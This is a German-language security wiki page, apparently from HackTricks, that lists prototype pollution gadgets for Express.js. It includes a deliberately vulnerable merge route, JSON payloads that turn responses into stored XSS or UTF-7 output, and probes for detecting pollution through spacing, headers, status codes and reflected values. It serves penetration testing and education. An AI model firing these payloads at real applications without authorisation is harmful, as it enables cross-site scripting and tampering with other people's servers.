Express Prototype Pollution Gadgets

Support HackTricks

XSS-Antworten bereitstellen

Für weitere Details sehen Sie sich die ursprüngliche Forschung an

Ändern Sie den JSON-Inhaltstyp in HTML

In einer Express-App, die eine JSON-Inhaltstyp-Antwort verwendet und ein JSON widerspiegelt:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

In diesen Fällen ist XSS normalerweise nicht mit einem JSON-Inhaltstyp möglich. Mit Prototype Pollution können wir jedoch Express verwirren, um eine HTML-Antwort bereitzustellen. Diese Schwachstelle beruht darauf, dass die Anwendung res.send(obj) verwendet und den Body-Parser mit dem Inhaltstyp application/json nutzt.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Durch das Verschmutzen der body und _body Eigenschaften ist es möglich, Express dazu zu bringen, den HTML-Inhaltstyp bereitzustellen und die _body-Eigenschaft widerzuspiegeln, was zu gespeichertem XSS führt.

UTF7 rendern

Es ist möglich, dass Express UTF-7-Inhalt rendert mit:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Sichere Scanning-Techniken

JSON-Räume

Die folgende PP wird Attribute innerhalb eines JSON einen zusätzlichen Raum geben, der die Funktionalität nicht beeinträchtigt:

{"__proto__":{"json spaces": " "}}

Dann sieht ein reflektiertes JSON so aus:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

Das folgende PP-Gadget wird den Server dazu bringen, den HTTP-Header zurückzusenden: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Es erfordert, dass das CORS-Modul installiert ist

OPTIONS-Methode

Mit dem folgenden Payload ist es möglich, eine Methode aus einer OPTIONS-Antwort zu verbergen:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Es ist möglich, den zurückgegebenen Statuscode mit dem folgenden PP-Payload zu ändern:

{"__proto__":{"status":510}}

Fehler

Wenn Sie einem Prototypen mit einem primitiven Wert wie einem String zuweisen, erzeugt dies eine no-op-Operation, da der Prototyp ein Objekt sein muss. Wenn Sie versuchen, ein Prototypobjekt dem Object.prototype selbst zuzuweisen, wird dies eine Ausnahme auslösen. Wir können diese beiden Verhaltensweisen nutzen, um festzustellen, ob die Prototypverschmutzung erfolgreich war:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

Wenn eine Anwendung ein Objekt in ihrer Antwort enthält, kann das Erstellen eines Attributs mit einem ungewöhnlichen Namen neben __proto__ aufschlussreich sein. Insbesondere wenn nur das ungewöhnliche Attribut in der Antwort zurückgegeben wird, könnte dies auf die Verwundbarkeit der Anwendung hinweisen:

{"unusualName":"value","__proto__":"test"}

Darüber hinaus bietet in Szenarien, in denen eine Bibliothek wie Lodash verwendet wird, das Setzen einer Eigenschaft sowohl über Prototype Pollution (PP) als auch direkt im Objekt einen weiteren diagnostischen Ansatz. Wenn eine solche Eigenschaft aus der Antwort weggelassen wird, deutet dies darauf hin, dass Lodash die Existenz der Eigenschaft im Zielobjekt überprüft, bevor es zusammenführt:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Erlaube Punkte

Es gibt eine Option in Express, die es dir ermöglicht, Objekte aus Abfragezeichenfolgenparametern zu erstellen. Du könntest es definitiv in einer Fehler Kette verwenden, um eine Prototype Pollution-Sicherheitsanfälligkeit auszunutzen.

{"__proto__":{"allowDots":true}}

?foo.bar=baz erstellt ein Objekt in Node.

Referenzen

Unterstütze HackTricks

Last updated